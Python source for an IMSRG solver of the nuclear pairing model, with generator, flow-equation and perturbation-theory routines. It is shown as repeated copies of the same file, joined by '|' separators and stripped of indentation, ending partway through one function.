occB_2B = construct_occupationB_2B(bas2B, occ1B)
occC_2B = construct_occupationC_2B(bas2B, occ1B)
occphA_2B = construct_occupationA_2B(basph2B, occ1B)
user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,
'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,
'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':
occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm':
0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}
H1B, H2B = pairing_hamiltonian(delta, g, user_data)
E, f, Gamma = normal_order(H1B, H2B, user_data)
y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))
solver = ode(derivative_wrapper, jac=None)
solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)
solver.set_f_params(user_data)
solver.set_initial_value(y0, 0.0)
sfinal = 50
ds = 0.1
print(
'%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'
% ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',
'||fod||', '||Gammaod||'))
print('-' * 148)
while solver.successful() and solver.t < sfinal:
ys = solver.integrate(sfinal, step=True)
dim2B = dim1B * dim1B
E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)
DE2 = calc_mbpt2(f, Gamma, user_data)
DE3 = calc_mbpt3(f, Gamma, user_data)
norm_fod = calc_fod_norm(f, user_data)
norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)
print(
'%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'
% (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],
user_data['eta_norm'], norm_fod, norm_Gammaod))
if abs(DE2 / E) < 1e-07:
break
return
if __name__ == '__main__':
main()
| import numpy as np
from numpy import array, dot, diag, reshape, transpose
from scipy.linalg import eigvalsh
from scipy.integrate import odeint, ode
from sys import argv
def construct_basis_2B(holes, particles):
basis = []
for i in holes:
for j in holes:
basis.append((i, j))
for i in holes:
for a in particles:
basis.append((i, a))
for a in particles:
for i in holes:
basis.append((a, i))
for a in particles:
for b in particles:
basis.append((a, b))
return basis
def construct_basis_ph2B(holes, particles):
basis = []
for i in holes:
for j in holes:
basis.append((i, j))
for i in holes:
for a in particles:
basis.append((i, a))
for a in particles:
for i in holes:
basis.append((a, i))
for a in particles:
for b in particles:
basis.append((a, b))
return basis
def construct_index_2B(bas2B):
index = {}
for i, state in enumerate(bas2B):
index[state] = i
return index
def ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):
dim = len(basph2B)
Gamma_ph = np.zeros((dim, dim))
for i1, (a, b) in enumerate(basph2B):
for i2, (c, d) in enumerate(basph2B):
Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]
return Gamma_ph
def inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):
dim = len(bas2B)
Gamma = np.zeros((dim, dim))
for i1, (a, b) in enumerate(bas2B):
for i2, (c, d) in enumerate(bas2B):
Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]
return Gamma
def commutator(a, b):
return dot(a, b) - dot(b, a)
def calc_fod_norm(f, user_data):
particles = user_data['particles']
holes = user_data['holes']
norm = 0.0
for a in particles:
for i in holes:
norm += f[a, i] ** 2 + f[i, a] ** 2
return np.sqrt(norm)
def calc_Gammaod_norm(Gamma, user_data):
particles = user_data['particles']
holes = user_data['holes']
idx2B = user_data['idx2B']
norm = 0.0
for a in particles:
for b in particles:
for i in holes:
for j in holes:
norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[
idx2B[i, j], idx2B[a, b]] ** 2
return np.sqrt(norm)
def construct_occupation_1B(bas1B, holes, particles):
dim = len(bas1B)
occ = np.zeros(dim)
for i in holes:
occ[i] = 1.0
return occ
def construct_occupationA_2B(bas2B, occ1B):
dim = len(bas2B)
occ = np.zeros((dim, dim))
for i1, (i, j) in enumerate(bas2B):
occ[i1, i1] = occ1B[i] - occ1B[j]
return occ
def construct_occupationB_2B(bas2B, occ1B):
dim = len(bas2B)
occ = np.zeros((dim, dim))
for i1, (i, j) in enumerate(bas2B):
occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]
return occ
def construct_occupationC_2B(bas2B, occ1B):
dim = len(bas2B)
occ = np.zeros((dim, dim))
for i1, (i, j) in enumerate(bas2B):
occ[i1, i1] = occ1B[i] * occ1B[j]
return occ
def eta_brillouin(f, Gamma, user_data):
dim1B = user_data['dim1B']
particles = user_data['particles']
holes = user_data['holes']
idx2B = user_data['idx2B']
eta1B = np.zeros_like(f)
for a in particles:
for i in holes:
eta1B[a, i] = f[a, i]
eta1B[i, a] = -f[a, i]
eta2B = np.zeros_like(Gamma)
for a in particles:
for b in particles:
for i in holes:
for j in holes:
val = Gamma[idx2B[a, b], idx2B[i, j]]
eta2B[idx2B[a, b], idx2B[i, j]] = val
eta2B[idx2B[i, j], idx2B[a, b]] = -val
return eta1B, eta2B
def eta_imtime(f, Gamma, user_data):
dim1B = user_data['dim1B']
particles = user_data['particles']
holes = user_data['holes']
idx2B = user_data['idx2B']
eta1B = np.zeros_like(f)
for a in particles:
for i in holes:
dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]
val = np.sign(dE) * f[a, i]
eta1B[a, i] = val
eta1B[i, a] = -val
eta2B = np.zeros_like(Gamma)
for a in particles:
for b in particles:
for i in holes:
for j in holes:
dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[
idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],
idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[
idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],
idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]
val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]
eta2B[idx2B[a, b], idx2B[i, j]] = val
eta2B[idx2B[i, j], idx2B[a, b]] = -val
return eta1B, eta2B
def eta_white(f, Gamma, user_data):
dim1B = user_data['dim1B']
particles = user_data['particles']
holes = user_data['holes']
idx2B = user_data['idx2B']
eta1B = np.zeros_like(f)
for a in particles:
for i in holes:
denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]
val = f[a, i] / denom
eta1B[a, i] = val
eta1B[i, a] = -val
eta2B = np.zeros_like(Gamma)
for a in particles:
for b in particles:
for i in holes:
for j in holes:
denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[
idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],
idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[
idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],
idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]
val = Gamma[idx2B[a, b], idx2B[i, j]] / denom
eta2B[idx2B[a, b], idx2B[i, j]] = val
eta2B[idx2B[i, j], idx2B[a, b]] = -val
return eta1B, eta2B
def eta_white_mp(f, Gamma, user_data):
dim1B = user_data['dim1B']
particles = user_data['particles']
holes = user_data['holes']
idx2B = user_data['idx2B']
eta1B = np.zeros_like(f)
for a in particles:
for i in holes:
denom = f[a, a] - f[i, i]
val = f[a, i] / denom
eta1B[a, i] = val
eta1B[i, a] = -val
eta2B = np.zeros_like(Gamma)
for a in particles:
for b in particles:
for i in holes:
for j in holes:
denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]
val = Gamma[idx2B[a, b], idx2B[i, j]] / denom
eta2B[idx2B[a, b], idx2B[i, j]] = val
eta2B[idx2B[i, j], idx2B[a, b]] = -val
return eta1B, eta2B
def eta_white_atan(f, Gamma, user_data):
dim1B = user_data['dim1B']
particles = user_data['particles']
holes = user_data['holes']
idx2B = user_data['idx2B']
eta1B = np.zeros_like(f)
for a in particles:
for i in holes:
denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]
val = 0.5 * np.arctan(2 * f[a, i] / denom)
eta1B[a, i] = val
eta1B[i, a] = -val
eta2B = np.zeros_like(Gamma)
for a in particles:
for b in particles:
for i in holes:
for j in holes:
denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[
idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],
idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[
idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],
idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]
val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j
]] / denom)
eta2B[idx2B[a, b], idx2B[i, j]] = val
eta2B[idx2B[i, j], idx2B[a, b]] = -val
return eta1B, eta2B
def eta_wegner(f, Gamma, user_data):
dim1B = user_data['dim1B']
holes = user_data['holes']
particles = user_data['particles']
bas2B = user_data['bas2B']
basph2B = user_data['basph2B']
idx2B = user_data['idx2B']
idxph2B = user_data['idxph2B']
occB_2B = user_data['occB_2B']
occC_2B = user_data['occC_2B']
occphA_2B = user_data['occphA_2B']
fd = np.zeros_like(f)
fod = np.zeros_like(f)
Gammad = np.zeros_like(Gamma)
Gammaod = np.zeros_like(Gamma)
for a in particles:
for i in holes:
fod[a, i] = f[a, i]
fod[i, a] = f[i, a]
fd = f - fod
for a in particles:
for b in particles:
for i in holes:
for j in holes:
Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],
idx2B[i, j]]
Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],
idx2B[a, b]]
Gammad = Gamma - Gammaod
eta1B = np.zeros_like(f)
eta1B += commutator(fd, fod)
for p in range(dim1B):
for q in range(dim1B):
for i in holes:
for a in particles:
eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]
] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[
i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i
] * Gammad[idx2B[i, p], idx2B[a, q]]
GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))
for p in range(dim1B):
for q in range(dim1B):
for i in holes:
eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -
transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])
GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))
for p in range(dim1B):
for q in range(dim1B):
for r in range(dim1B):
eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +
transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])
eta2B = np.zeros_like(Gamma)
for p in range(dim1B):
for q in range(dim1B):
for r in range(dim1B):
for s in range(dim1B):
for t in range(dim1B):
eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[
idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[
idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[
idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[
idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[
idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[
idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[
idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[
idx2B[p, q], idx2B[r, t]]
GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))
eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))
Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)
Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)
GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))
GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,
basph2B, idxph2B)
work = np.zeros_like(GammaGamma)
for i1, (i, j) in enumerate(bas2B):
for i2, (k, l) in enumerate(bas2B):
work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2
] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],
idx2B[l, k]]
GammaGamma = work
eta2B += GammaGamma
return eta1B, eta2B
def flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):
dim1B = user_data['dim1B']
holes = user_data['holes']
particles = user_data['particles']
bas2B = user_data['bas2B']
idx2B = user_data['idx2B']
basph2B = user_data['basph2B']
idxph2B = user_data['idxph2B']
occB_2B = user_data['occB_2B']
occC_2B = user_data['occC_2B']
occphA_2B = user_data['occphA_2B']
dE = 0.0
for i in holes:
for a in particles:
dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]
for i in holes:
for j in holes:
for a in particles:
for b in particles:
dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[
idx2B[a, b], idx2B[i, j]]
df = np.zeros_like(f)
df += commutator(eta1B, f)
for p in range(dim1B):
for q in range(dim1B):
for i in holes:
for a in particles:
df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]
] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[
i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i
] * eta2B[idx2B[i, p], idx2B[a, q]]
etaGamma = dot(eta2B, dot(occB_2B, Gamma))
for p in range(dim1B):
for q in range(dim1B):
for i in holes:
df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +
transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])
etaGamma = dot(eta2B, dot(occC_2B, Gamma))
for p in range(dim1B):
for q in range(dim1B):
for r in range(dim1B):
df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +
transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])
dGamma = np.zeros_like(Gamma)
for p in range(dim1B):
for q in range(dim1B):
for r in range(dim1B):
for s in range(dim1B):
for t in range(dim1B):
dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t
] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t
] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r
] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s
] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t
] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t
] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r
] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s
] * eta2B[idx2B[p, q], idx2B[r, t]]
etaGamma = dot(eta2B, dot(occB_2B, Gamma))
dGamma += 0.5 * (etaGamma + transpose(etaGamma))
eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)
Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)
etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))
etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,
idxph2B)
work = np.zeros_like(etaGamma)
for i1, (i, j) in enumerate(bas2B):
for i2, (k, l) in enumerate(bas2B):
work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2
] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B
[l, k]]
etaGamma = work
dGamma += etaGamma
return dE, df, dGamma
def get_operator_from_y(y, dim1B, dim2B):
ptr = 0
zero_body = y[ptr]
ptr += 1
one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))
ptr += dim1B * dim1B
two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))
return zero_body, one_body, two_body
def derivative_wrapper(t, y, user_data):
dim1B = user_data['dim1B']
dim2B = dim1B * dim1B
holes = user_data['holes']
particles = user_data['particles']
bas1B = user_data['bas1B']
bas2B = user_data['bas2B']
basph2B = user_data['basph2B']
idx2B = user_data['idx2B']
idxph2B = user_data['idxph2B']
occA_2B = user_data['occA_2B']
occB_2B = user_data['occB_2B']
occC_2B = user_data['occC_2B']
occphA_2B = user_data['occphA_2B']
calc_eta = user_data['calc_eta']
calc_rhs = user_data['calc_rhs']
E, f, Gamma = get_operator_from_y(y, dim1B, dim2B)
eta1B, eta2B = calc_eta(f, Gamma, user_data)
dE, df, dGamma = calc_rhs(eta1B, eta2B, f, Gamma, user_data)
dy = np.append([dE], np.append(reshape(df, -1), reshape(dGamma, -1)))
user_data['dE'] = dE
user_data['eta_norm'] = np.linalg.norm(eta1B, ord='fro') + np.linalg.norm(
eta2B, ord='fro')
return dy
def pairing_hamiltonian(delta, g, user_data):
bas1B = user_data['bas1B']
bas2B = user_data['bas2B']
idx2B = user_data['idx2B']
dim = len(bas1B)
H1B = np.zeros((dim, dim))
for i in bas1B:
H1B[i, i] = delta * np.floor_divide(i, 2)
dim = len(bas2B)
H2B = np.zeros((dim, dim))
for i, j in bas2B:
if i % 2 == 0 and j == i + 1:
for k, l in bas2B:
if k % 2 == 0 and l == k + 1:
H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g
H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g
H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g
H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g
return H1B, H2B
def normal_order(H1B, H2B, user_data):
bas1B = user_data['bas1B']
bas2B = user_data['bas2B']
idx2B = user_data['idx2B']
particles = user_data['particles']
holes = user_data['holes']
E = 0.0
for i in holes:
E += H1B[i, i]
for i in holes:
for j in holes:
E += 0.5 * H2B[idx2B[i, j], idx2B[i, j]]
f = H1B
for i in bas1B:
for j in bas1B:
for h in holes:
f[i, j] += H2B[idx2B[i, h], idx2B[j, h]]
Gamma = H2B
return E, f, Gamma
def calc_mbpt2(f, Gamma, user_data):
DE2 = 0.0
particles = user_data['particles']
holes = user_data['holes']
idx2B = user_data['idx2B']
for i in holes:
for j in holes:
for a in particles:
for b in particles:
denom = f[i, i] + f[j, j] - f[a, a] - f[b, b]
me = Gamma[idx2B[a, b], idx2B[i, j]]
DE2 += 0.25 * me * me / denom
return DE2
def calc_mbpt3(f, Gamma, user_data):
particles = user_data['particles']
holes = user_data['holes']
idx2B = user_data['idx2B']
DE3pp = 0.0
DE3hh = 0.0
DE3ph = 0.0
for a in particles:
for b in particles:
for c in particles:
for d in particles:
for i in holes:
for j in holes:
denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * (
f[i, i] + f[j, j] - f[c, c] - f[d, d])
me = Gamma[idx2B[i, j], idx2B[a, b]] * Gamma[
idx2B[a, b], idx2B[c, d]] * Gamma[idx2B[c,
d], idx2B[i, j]]
DE3pp += 0.125 * me / denom
for i in holes:
for j in holes:
for k in holes:
for l in holes:
for a in particles:
for b in particles:
denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * (
f[k, k] + f[l, l] - f[a, a] - f[b, b])
me = Gamma[idx2B[a, b], idx2B[k, l]] * Gamma[
idx2B[k, l], idx2B[i, j]] * Gamma[idx2B[i,
j], idx2B[a, b]]
DE3hh += 0.125 * me / denom
for i in holes:
for j in holes:
for k in holes:
for a in particles:
for b in particles:
for c in particles:
denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * (
f[k, k] + f[j, j] - f[a, a] - f[c, c])
me = Gamma[idx2B[i, j], idx2B[a, b]] * Gamma[
idx2B[k, b], idx2B[i, c]] * Gamma[idx2B[a,
c], idx2B[k, j]]
DE3ph -= me / denom
return DE3pp + DE3hh + DE3ph
def main():
delta = float(argv[1])
g = float(argv[2])
particles = 4
dim1B = 8
holes = [0, 1, 2, 3]
particles = [4, 5, 6, 7]
bas1B = range(dim1B)
bas2B = construct_basis_2B(holes, particles)
basph2B = construct_basis_ph2B(holes, particles)
idx2B = construct_index_2B(bas2B)
idxph2B = construct_index_2B(basph2B)
occ1B = construct_occupation_1B(bas1B, holes, particles)
occA_2B = construct_occupationA_2B(bas2B, occ1B)
occB_2B = construct_occupationB_2B(bas2B, occ1B)
occC_2B = construct_occupationC_2B(bas2B, occ1B)
occphA_2B = construct_occupationA_2B(basph2B, occ1B)
user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,
'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,
'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':
occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm':
0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}
H1B, H2B = pairing_hamiltonian(delta, g, user_data)
E, f, Gamma = normal_order(H1B, H2B, user_data)
y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))
solver = ode(derivative_wrapper, jac=None)
solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)
solver.set_f_params(user_data)
solver.set_initial_value(y0, 0.0)
sfinal = 50
ds = 0.1
print(
'%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'
% ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',
'||fod||', '||Gammaod||'))
print('-' * 148)
while solver.successful() and solver.t < sfinal:
ys = solver.integrate(sfinal, step=True)
dim2B = dim1B * dim1B
E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)
DE2 = calc_mbpt2(f, Gamma, user_data)
DE3 = calc_mbpt3(f, Gamma, user_data)
norm_fod = calc_fod_norm(f, user_data)
norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)
print(
'%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'
% (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],
user_data['eta_norm'], norm_fod, norm_Gammaod))
if abs(DE2 / E) < 1e-07:
break
return
if __name__ == '__main__':
main()
| #!/usr/bin/env python
#------------------------------------------------------------------------------
# imsrg_pairing.py
#
# author: H. Hergert
# version: 1.5.0
# date: Dec 6, 2016
#
# tested with Python v2.7
#
# Solves the pairing model for four particles in a basis of four doubly
# degenerate states by means of an In-Medium Similarity Renormalization
# Group (IMSRG) flow.
#
#------------------------------------------------------------------------------
import numpy as np
from numpy import array, dot, diag, reshape, transpose
from scipy.linalg import eigvalsh
from scipy.integrate import odeint, ode
from sys import argv
#-----------------------------------------------------------------------------------
# basis and index functions
#-----------------------------------------------------------------------------------
def construct_basis_2B(holes, particles):
basis = []
for i in holes:
for j in holes:
basis.append((i, j))
for i in holes:
for a in particles:
basis.append((i, a))
for a in particles:
for i in holes:
basis.append((a, i))
for a in particles:
for b in particles:
basis.append((a, b))
return basis
def construct_basis_ph2B(holes, particles):
basis = []
for i in holes:
for j in holes:
basis.append((i, j))
for i in holes:
for a in particles:
basis.append((i, a))
for a in particles:
for i in holes:
basis.append((a, i))
for a in particles:
for b in particles:
basis.append((a, b))
return basis
#
# We use dictionaries for the reverse lookup of state indices
#
def construct_index_2B(bas2B):
index = { }
for i, state in enumerate(bas2B):
index[state] = i
return index
#-----------------------------------------------------------------------------------
# transform matrices to particle-hole representation
#-----------------------------------------------------------------------------------
def ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):
dim = len(basph2B)
Gamma_ph = np.zeros((dim, dim))
for i1, (a,b) in enumerate(basph2B):
for i2, (c, d) in enumerate(basph2B):
Gamma_ph[i1, i2] -= Gamma[idx2B[(a,d)], idx2B[(c,b)]]
return Gamma_ph
def inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):
dim = len(bas2B)
Gamma = np.zeros((dim, dim))
for i1, (a,b) in enumerate(bas2B):
for i2, (c, d) in enumerate(bas2B):
Gamma[i1, i2] -= Gamma_ph[idxph2B[(a,d)], idxph2B[(c,b)]]
return Gamma
#-----------------------------------------------------------------------------------
# commutator of matrices
#-----------------------------------------------------------------------------------
def commutator(a,b):
return dot(a,b) - dot(b,a)
#-----------------------------------------------------------------------------------
# norms of off-diagonal Hamiltonian pieces
#-----------------------------------------------------------------------------------
def calc_fod_norm(f, user_data):
particles = user_data["particles"]
holes = user_data["holes"]
norm = 0.0
for a in particles:
for i in holes:
norm += f[a,i]**2 + f[i,a]**2
return np.sqrt(norm)
def calc_Gammaod_norm(Gamma, user_data):
particles = user_data["particles"]
holes = user_data["holes"]
idx2B = user_data["idx2B"]
norm = 0.0
for a in particles:
for b in particles:
for i in holes:
for j in holes:
norm += Gamma[idx2B[(a,b)],idx2B[(i,j)]]**2 + Gamma[idx2B[(i,j)],idx2B[(a,b)]]**2
return np.sqrt(norm)
#-----------------------------------------------------------------------------------
# occupation number matrices
#-----------------------------------------------------------------------------------
def construct_occupation_1B(bas1B, holes, particles):
dim = len(bas1B)
occ = np.zeros(dim)
for i in holes:
occ[i] = 1.
return occ
# diagonal matrix: n_a - n_b
def construct_occupationA_2B(bas2B, occ1B):
dim = len(bas2B)
occ = np.zeros((dim,dim))
for i1, (i,j) in enumerate(bas2B):
occ[i1, i1] = occ1B[i] - occ1B[j]
return occ
# diagonal matrix: 1 - n_a - n_b
def construct_occupationB_2B(bas2B, occ1B):
dim = len(bas2B)
occ = np.zeros((dim,dim))
for i1, (i,j) in enumerate(bas2B):
occ[i1, i1] = 1. - occ1B[i] - occ1B[j]
return occ
# diagonal matrix: n_a * n_b
def construct_occupationC_2B(bas2B, occ1B):
dim = len(bas2B)
occ = np.zeros((dim,dim))
for i1, (i,j) in enumerate(bas2B):
occ[i1, i1] = occ1B[i] * occ1B[j]
return occ
#-----------------------------------------------------------------------------------
# generators
#-----------------------------------------------------------------------------------
def eta_brillouin(f, Gamma, user_data):
dim1B = user_data["dim1B"]
particles = user_data["particles"]
holes = user_data["holes"]
idx2B = user_data["idx2B"]
# one-body part of the generator
eta1B = np.zeros_like(f)
for a in particles:
for i in holes:
# (1-n_a)n_i - n_a(1-n_i) = n_i - n_a
eta1B[a, i] = f[a,i]
eta1B[i, a] = -f[a,i]
# two-body part of the generator
eta2B = np.zeros_like(Gamma)
for a in particles:
for b in particles:
for i in holes:
for j in holes:
val = Gamma[idx2B[(a,b)], idx2B[(i,j)]]
eta2B[idx2B[(a,b)],idx2B[(i,j)]] = val
eta2B[idx2B[(i,j)],idx2B[(a,b)]] = -val
return eta1B, eta2B
def eta_imtime(f, Gamma, user_data):
dim1B = user_data["dim1B"]
particles = user_data["particles"]
holes = user_data["holes"]
idx2B = user_data["idx2B"]
# one-body part of the generator
eta1B = np.zeros_like(f)
for a in particles:
for i in holes:
dE = f[a,a] - f[i,i] + Gamma[idx2B[(a,i)], idx2B[(a,i)]]
val = np.sign(dE)*f[a,i]
eta1B[a, i] = val
eta1B[i, a] = -val
# two-body part of the generator
eta2B = np.zeros_like(Gamma)
for a in particles:
for b in particles:
for i in holes:
for j in holes:
dE = (
f[a,a] + f[b,b] - f[i,i] - f[j,j]
+ Gamma[idx2B[(a,b)],idx2B[(a,b)]]
+ Gamma[idx2B[(i,j)],idx2B[(i,j)]]
- Gamma[idx2B[(a,i)],idx2B[(a,i)]]
- Gamma[idx2B[(a,j)],idx2B[(a,j)]]
- Gamma[idx2B[(b,i)],idx2B[(b,i)]]
- Gamma[idx2B[(b,j)],idx2B[(b,j)]]
)
val = np.sign(dE)*Gamma[idx2B[(a,b)], idx2B[(i,j)]]
eta2B[idx2B[(a,b)],idx2B[(i,j)]] = val
eta2B[idx2B[(i,j)],idx2B[(a,b)]] = -val
return eta1B, eta2B
def eta_white(f, Gamma, user_data):
dim1B = user_data["dim1B"]
particles = user_data["particles"]
holes = user_data["holes"]
idx2B = user_data["idx2B"]
# one-body part of the generator
eta1B = np.zeros_like(f)
for a in particles:
for i in holes:
denom = f[a,a] - f[i,i] + Gamma[idx2B[(a,i)], idx2B[(a,i)]]
val = f[a,i]/denom
eta1B[a, i] = val
eta1B[i, a] = -val
# two-body part of the generator
eta2B = np.zeros_like(Gamma)
for a in particles:
for b in particles:
for i in holes:
for j in holes:
denom = (
f[a,a] + f[b,b] - f[i,i] - f[j,j]
+ Gamma[idx2B[(a,b)],idx2B[(a,b)]]
+ Gamma[idx2B[(i,j)],idx2B[(i,j)]]
- Gamma[idx2B[(a,i)],idx2B[(a,i)]]
- Gamma[idx2B[(a,j)],idx2B[(a,j)]]
- Gamma[idx2B[(b,i)],idx2B[(b,i)]]
- Gamma[idx2B[(b,j)],idx2B[(b,j)]]
)
val = Gamma[idx2B[(a,b)], idx2B[(i,j)]] / denom
eta2B[idx2B[(a,b)],idx2B[(i,j)]] = val
eta2B[idx2B[(i,j)],idx2B[(a,b)]] = -val
return eta1B, eta2B
def eta_white_mp(f, Gamma, user_data):
dim1B = user_data["dim1B"]
particles = user_data["particles"]
holes = user_data["holes"]
idx2B = user_data["idx2B"]
# one-body part of the generator
eta1B = np.zeros_like(f)
for a in particles:
for i in holes:
denom = f[a,a] - f[i,i]
val = f[a,i]/denom
eta1B[a, i] = val
eta1B[i, a] = -val
# two-body part of the generator
eta2B = np.zeros_like(Gamma)
for a in particles:
for b in particles:
for i in holes:
for j in holes:
denom = (
f[a,a] + f[b,b] - f[i,i] - f[j,j]
)
val = Gamma[idx2B[(a,b)], idx2B[(i,j)]] / denom
eta2B[idx2B[(a,b)],idx2B[(i,j)]] = val
eta2B[idx2B[(i,j)],idx2B[(a,b)]] = -val
return eta1B, eta2B
def eta_white_atan(f, Gamma, user_data):
dim1B = user_data["dim1B"]
particles = user_data["particles"]
holes = user_data["holes"]
idx2B = user_data["idx2B"]
# one-body part of the generator
eta1B = np.zeros_like(f)
for a in particles:
